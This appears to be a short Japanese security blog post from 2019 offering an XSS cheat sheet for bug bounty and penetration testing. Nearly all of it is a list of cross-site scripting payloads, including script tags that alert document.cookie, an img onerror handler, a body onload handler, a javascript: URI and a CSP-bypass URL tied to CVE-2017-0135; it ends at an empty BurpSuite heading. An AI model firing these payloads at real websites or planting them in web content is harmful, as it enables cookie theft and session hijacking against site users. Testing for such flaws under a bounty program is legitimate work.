XSS Cheet Sheet - Marsの5εcur1ty備忘録

　こんにちは、Marsです。今回はXSSについてお話します。

　2019年の今では、少し工夫すればXSSの脆弱性が発見できるサイトが未だに少なからず存在しています。このペイロードをBug bounty programやpentestなどに活用できれば嬉しいです。

Bug bounty program:

・手入力

- 最も一般的なXSS:

<script>alert(1)</script>
'><script>alert(document.cookie)</script>

- 画像埋め込み：

<img src=1 onerror=alert(document.cookie)>

- ロード時に実行：

<BODY ONLOAD=alert('XSS')>

- JavaScriptもう一種類：

<IMG src=javascript:alert('XSS')>

- CSP(Content Security Policy) Bypass：

- CVE-2017-0135

-Payload:

http://example.com/xss.html?<meta http-equiv=”Content-Security-Policy” content=”script-src ‘self’”>

Bypass CSP by Abusing XSS Filter in Edge – InfoSec Write-ups – Medium

・BurpSuite丸投げ：
